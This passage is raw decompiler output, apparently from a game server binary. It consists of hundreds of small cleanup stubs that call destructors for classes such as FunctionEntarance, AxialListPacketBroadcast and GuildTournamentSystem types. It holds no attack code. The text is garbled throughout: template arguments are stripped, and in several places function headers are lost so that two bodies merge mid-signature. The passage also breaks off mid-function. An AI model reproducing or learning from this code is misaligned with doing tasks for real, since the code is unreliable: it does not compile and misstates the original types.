FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B118) -------------------------------------------------------- void __usercall _L182826(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061B130) -------------------------------------------------------- void __usercall _L182155(int a1) { AxialListMobDistribute::_AxialListMobDistribute((AxialListMobDistribute *)(a1 - 20)); } //----- (0061B150) -------------------------------------------------------- void __usercall _L182292(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061B170) -------------------------------------------------------- void __usercall _L185230_1(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061B1A0) -------------------------------------------------------- void __usercall _L187419(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061B1A8) -------------------------------------------------------- void __usercall _L187421(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 40)); } //----- (0061B1B0) -------------------------------------------------------- void __usercall _L187422(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (0061B1DB) -------------------------------------------------------- void __usercall _L187668(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0061B1F8) -------------------------------------------------------- unsigned int __cdecl _L187922() { unsigned int result; // eax@1 result = _S33_0 & 0xFFFFFFFE; _S33_0 &= 0xFFFFFFFEu; return result; } //----- (0061B206) -------------------------------------------------------- void __cdecl _L187933() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 48)); } //----- (0061B230) -------------------------------------------------------- void __usercall _L176439(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B250) -------------------------------------------------------- void __usercall _L175552(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061B270) -------------------------------------------------------- void __usercall _L176567(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (0061B290) -------------------------------------------------------- void __usercall _L15986(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67844)); } //----- (0061B2B0) -------------------------------------------------------- void __usercall _L19699(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061B2E0) -------------------------------------------------------- void __usercall _L20532_0(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67812)); } //----- (0061B300) -------------------------------------------------------- void __usercall _L176467(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B308) -------------------------------------------------------- void __usercall _L176468(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (0061B320) -------------------------------------------------------- void __usercall _L177224(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B340) -------------------------------------------------------- void __usercall _L176956(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061B348) -------------------------------------------------------- void __usercall _L176957(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061B360) -------------------------------------------------------- void __usercall _L177113(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061B368) -------------------------------------------------------- void __usercall _L177114(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 36)); } //----- (0061B370) -------------------------------------------------------- void __usercall _L177115(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061B390) -------------------------------------------------------- void __usercall _L176290(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B3C0) -------------------------------------------------------- void __usercall _L178784(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061B3E0) -------------------------------------------------------- void __usercall _L178880(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061B400) -------------------------------------------------------- void __usercall _L174798(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B420) -------------------------------------------------------- void __usercall _L75096(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B440) -------------------------------------------------------- void __usercall _L73872(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B460) -------------------------------------------------------- void __usercall _L113427(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B480) -------------------------------------------------------- void __usercall _L194336(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B4A0) -------------------------------------------------------- void __usercall _L183737(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B4A8) -------------------------------------------------------- void __usercall _L183738(int a1) { AxialListNumberCount::_AxialListNumberCount((AxialListNumberCount *)(a1 - 24)); } //----- (0061B4C0) -------------------------------------------------------- void __usercall _L183891(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061B4C8) -------------------------------------------------------- void __usercall _L183892(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (0061B4E0) -------------------------------------------------------- void __usercall _L184288(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B500) -------------------------------------------------------- void __usercall _L185040_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061B520) -------------------------------------------------------- void __usercall _L185078_0(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (0061B540) -------------------------------------------------------- void __usercall _L186520(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 428)); } //----- (0061B560) -------------------------------------------------------- void __usercall _L190626(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061B580) -------------------------------------------------------- void __usercall _L191437(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061B5A0) -------------------------------------------------------- void __usercall _L191699(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0061B5AB) -------------------------------------------------------- void __usercall _L191700(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 124)); } //----- (0061B5C0) -------------------------------------------------------- void __usercall _L192957(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 20) + 72)); } //----- (0061B5CB) -------------------------------------------------------- void __usercall _L192958(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 260)); } //----- (0061B5D9) -------------------------------------------------------- void __usercall _L192959(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 20) + 268)); } //----- (0061B5E7) -------------------------------------------------------- void __usercall _L192960(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 20) + 280)); } //----- (0061B5F5) -------------------------------------------------------- void __usercall _L192961(int a1) { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)(*(_DWORD *)(a1 - 20) + 404)); } //----- (0061B610) -------------------------------------------------------- void __usercall _L193226(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061B630) -------------------------------------------------------- void __usercall _L193836(int a1) { MobDeadCount::_MobDeadCount((MobDeadCount *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (0061B63B) -------------------------------------------------------- void __usercall _L193837(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (0061B649) -------------------------------------------------------- void __usercall _L193838(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 268)); } //----- (0061B657) -------------------------------------------------------- void __usercall _L193839(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 280)); } //----- (0061B670) -------------------------------------------------------- void __usercall _L194249(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 444)); } //----- (0061B67B) -------------------------------------------------------- void __usercall _L194250(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061B690) -------------------------------------------------------- void __usercall _L194286(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061B698) -------------------------------------------------------- void __usercall _L194287(int a1) { ShineCommonParameter::_ShineCommonParameter((ShineScript *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0061B6B0) -------------------------------------------------------- void __usercall _L194313(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061B700) -------------------------------------------------------- void __usercall _L78272(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061B720) -------------------------------------------------------- void __usercall _L171734(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061B740) -------------------------------------------------------- void __usercall _L171867(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B760) -------------------------------------------------------- void __usercall _L128350(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0061B780) -------------------------------------------------------- void __usercall _L128436(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B7A0) -------------------------------------------------------- void __usercall _L180095(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B7C0) -------------------------------------------------------- void __usercall _L178207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061B7E0) -------------------------------------------------------- void __usercall _L178360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061B7E8) -------------------------------------------------------- void __usercall _L178361(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0061B800) -------------------------------------------------------- void __usercall _L182787(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B808) -------------------------------------------------------- void __usercall _L182789(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061B820) -------------------------------------------------------- void __usercall _L178864_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (0061B828) -------------------------------------------------------- void __usercall _L178865_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0061B830) -------------------------------------------------------- void __usercall _L178866_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (0061B850) -------------------------------------------------------- void __usercall _L179080(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061B858) -------------------------------------------------------- void __usercall _L179081(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0061B870) -------------------------------------------------------- void __usercall _L179358(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8372)); } //----- (0061B87B) -------------------------------------------------------- void __usercall _L179359(int a1) { ItemProducer::_ItemProducer((ItemProducer *)(a1 - 8356)); } //----- (0061B886) -------------------------------------------------------- void __usercall _L179360(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 8368)); } //----- (0061B8A0) -------------------------------------------------------- void __usercall _L179796(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8360)); } //----- (0061B8AB) -------------------------------------------------------- void __usercall _L179797(int a1) { ItemProducer::_ItemProducer((ItemProducer *)(a1 - 8356)); } //----- (0061B8C0) -------------------------------------------------------- void __usercall _L177267(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061B8E0) -------------------------------------------------------- void __usercall _L175928(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0061B900) -------------------------------------------------------- void __usercall _L177023(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0061B920) -------------------------------------------------------- void __usercall _L176167(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (0061B940) -------------------------------------------------------- void __usercall _L176444(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061B948) -------------------------------------------------------- void __usercall _L176445(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061B960) -------------------------------------------------------- void __usercall _L176486(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061B968) -------------------------------------------------------- void __usercall _L176487(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0061B980) -------------------------------------------------------- void __usercall _L176860(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061B9A0) -------------------------------------------------------- void __usercall _L176891_0(int a1) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement((GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)(a1 - 8392)); } //----- (0061B9C0) -------------------------------------------------------- void __usercall _L176904(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061B9E0) -------------------------------------------------------- void __usercall _L178191(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061BA00) -------------------------------------------------------- void __usercall _L178385(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061BA20) -------------------------------------------------------- void __usercall _L177344(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061BA28) -------------------------------------------------------- void __usercall _L177345(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 120)); } //----- (0061BA40) -------------------------------------------------------- void __usercall _L177536(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (0061BA48) -------------------------------------------------------- void __usercall _L177537(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 100)); } //----- (0061BA60) -------------------------------------------------------- void __usercall _L177606(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061BA80) -------------------------------------------------------- void __usercall _L177977(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0061BA8B) -------------------------------------------------------- void __usercall _L177978(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (0061BA96) -------------------------------------------------------- void __usercall _L177979(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (0061BAB0) -------------------------------------------------------- void __usercall _L178275(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0061BAD0) -------------------------------------------------------- void __usercall _L175945(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061BAF0) -------------------------------------------------------- void __usercall _L176148(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061BB10) -------------------------------------------------------- void __usercall _L176708(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061BB30) -------------------------------------------------------- void __usercall _L176595(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061BB50) -------------------------------------------------------- void __usercall _L176355(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061BB58) -------------------------------------------------------- void __usercall _L176356(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061BB70) -------------------------------------------------------- void __usercall _L176414(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061BB90) -------------------------------------------------------- void __usercall _L176441(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0061BBB0) -------------------------------------------------------- void __usercall _L176494(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061BBD0) -------------------------------------------------------- void __usercall _L176533(int a1) { GuildStorage::GuildStorageElement::_GuildStorageElement((GuildStorage::GuildStorageElement *)(a1 - 4224)); } //----- (0061BBF0) -------------------------------------------------------- void __usercall _L180766(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061BC10) -------------------------------------------------------- void __usercall _L185095_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061BC30) -------------------------------------------------------- void __usercall _L181305(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061BC38) -------------------------------------------------------- void __usercall _L181306(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061BC50) -------------------------------------------------------- void __usercall _L181510(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061BC58) -------------------------------------------------------- void __usercall _L181511(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (0061BC70) -------------------------------------------------------- void __usercall _L182328_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1744)); } //----- (0061BC7B) -------------------------------------------------------- void __usercall _L182329(int a1) { FieldMap::_FieldMap(a1 - 1472); } //----- (0061BC86) -------------------------------------------------------- void __usercall _L182375(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 1768)); } //----- (0061BC91) -------------------------------------------------------- void __usercall _L182330_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1728)); } //----- (0061BCB0) -------------------------------------------------------- void __usercall _L182688(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (0061BCD0) -------------------------------------------------------- void __usercall _L182765(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 444)); } //----- (0061BCDB) -------------------------------------------------------- void __usercall _L182766(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061BCF0) -------------------------------------------------------- void __usercall _L184564(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061BD10) -------------------------------------------------------- void __usercall _L184998_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061BD30) -------------------------------------------------------- void __usercall _L185040_1(int a1) { operator delete(*(void **)(a1 - 124)); } //----- (0061BD50) -------------------------------------------------------- void __usercall _L211102(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061BD70) -------------------------------------------------------- void __usercall _L192738(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0061BD90) -------------------------------------------------------- void __usercall _L193038(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061BDB0) -------------------------------------------------------- void __usercall _L193481(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (0061BDD0) -------------------------------------------------------- void __usercall _L207344(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061BDF0) -------------------------------------------------------- void __usercall _L196667(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0061BDFB) -------------------------------------------------------- void __usercall _L196668(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (0061BE06) -------------------------------------------------------- void __usercall _L196669(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (0061BEF0) -------------------------------------------------------- void __usercall _L202768(int a1) { ShineObjectClass::ShineObject::LuaAi::_LuaAi((GuildTournamentSystem::PortalInfo *)(a1 - 104)); } //----- (0061BF10) -------------------------------------------------------- void __usercall _L204685(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 28)); } //----- (0061BF50) -------------------------------------------------------- void __usercall _L220556(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061BF70) -------------------------------------------------------- void __usercall _L208500(int a1) { ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild((ScriptInterrupt::InterruptEventWinGuild *)(a1 - 284)); } //----- (0061BFD0) -------------------------------------------------------- void __usercall _L214696(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (0061C010) -------------------------------------------------------- void __usercall _L215333(int a1) { AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel((AxialListFlagCaptureCancel *)(a1 - 116)); } //----- (0061C018) -------------------------------------------------------- void __usercall _L215334(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 108)); } //----- (0061C020) -------------------------------------------------------- void __usercall _L215335(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (0061C040) -------------------------------------------------------- void __usercall _L216135(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 96)); } //----- (0061C068) -------------------------------------------------------- void __usercall _L216596(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 136)); } //----- (0061C080) -------------------------------------------------------- void __usercall _L217927(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 68)); } //----- (0061C0A0) -------------------------------------------------------- void __usercall _L218806(int a1) { GuildTournamentSystem::Gate::_Gate((GuildTournamentSystem::Gate *)(a1 - 80)); } //----- (0061C0C0) -------------------------------------------------------- void __usercall _L219167(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (0061C0C8) -------------------------------------------------------- void __usercall _L219168(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (0061C0D0) -------------------------------------------------------- void __usercall _L219169(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 112)); } //----- (0061C0D8) -------------------------------------------------------- void __usercall _L219170(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 128)); } //----- (0061C0F0) -------------------------------------------------------- void __usercall _L220843(int a1) { GuildTournamentSystem::FlagInfo::_FlagInfo((GuildTournamentSystem::FlagInfo *)(a1 - 208)); } //----- (0061C110) -------------------------------------------------------- void __usercall _L221014(int a1) { std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>((std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (0061C126) -------------------------------------------------------- void __usercall _L221016(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (0061C147) -------------------------------------------------------- void __usercall _L221019(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (0061C168) -------------------------------------------------------- void __usercall _L221703(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0061C173) -------------------------------------------------------- void __usercall _L221704(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0061C17E) -------------------------------------------------------- void __usercall _L221705(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (0061C1A0) -------------------------------------------------------- void __usercall _L221993(int a1) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (0061C1A8) -------------------------------------------------------- void __usercall _L221994(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0061C1B3) -------------------------------------------------------- void __usercall _L221995(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0061C1D0) -------------------------------------------------------- void __usercall _L179066(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061C1F0) -------------------------------------------------------- void __usercall _L178180_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0061C210) -------------------------------------------------------- void __usercall _L178410(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 84)); } //----- (0061C230) -------------------------------------------------------- void __usercall _L178494(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 88)); } //----- (0061C250) -------------------------------------------------------- void __usercall _L178699(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061C270) -------------------------------------------------------- void __usercall _L178849_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061C290) -------------------------------------------------------- void __usercall _L178934(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061C2B0) -------------------------------------------------------- void __usercall _L179016(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0061C2B8) -------------------------------------------------------- void __usercall _L179017(int a1) { ScanEnemy4ExpDist::_ScanEnemy4ExpDist((ScanEnemy4ExpDist *)(a1 - 56)); } //----- (0061C2C0) -------------------------------------------------------- void __usercall _L179018(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061C2E0) -------------------------------------------------------- void __usercall _L179537(int a1) { List::_List(*(HitMeList::EnemyList **)(a1 - 24)); } //----- (0061C2E8) -------------------------------------------------------- void __usercall _L179547(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061C300) -------------------------------------------------------- void __usercall _L181929(int a1) { 